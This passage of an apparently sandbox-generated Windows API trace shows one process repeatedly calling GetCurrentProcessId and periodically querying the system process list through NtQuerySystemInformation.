GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.872] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.873] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0249.874] GetCurrentProcessId () returned 0x10c0 [0250.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0250.404] GetCurrentProcessId () returned 0x10c0 [0250.404] GetCurrentProcessId () returned 0x10c0 [0250.404] GetCurrentProcessId () returned 0x10c0 [0250.404] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.405] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.406] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.407] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.408] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.409] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.410] GetCurrentProcessId () returned 0x10c0 [0250.969] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.978] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.979] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.980] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0250.981] GetCurrentProcessId () returned 0x10c0 [0251.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1df40) returned 0x0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.537] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.538] GetCurrentProcessId () returned 0x10c0 [0251.539] GetCurrentProcessId () returned 0x10c0 [0251.539] GetCurrentProcessId () returned 0x10c0 [0251.539] GetCurrentProcessId () returned 0x10c0 [0251.540] GetCurrentProcessId () returned 0x10c0 [0251.540] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.541] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.542] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.543] GetCurrentProcessId () returned 0x10c0 [0251.544] GetCurrentProcessId () returned 0x10c0 [0251.544] GetCurrentProcessId () returned 0x10c0 [0251.544] GetCurrentProcessId () returned 0x10c0 [0251.544] GetCurrentProcessId () returned 0x10c0 [0251.544] GetCurrentProcessId () returned 0x10c0 [0251.544] GetCurrentProcessId () returned 0x10c0 [0252.474] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1df40) returned 0x0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.480] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.481] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.482] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.483] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0252.484] GetCurrentProcessId () returned 0x10c0 [0253.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: 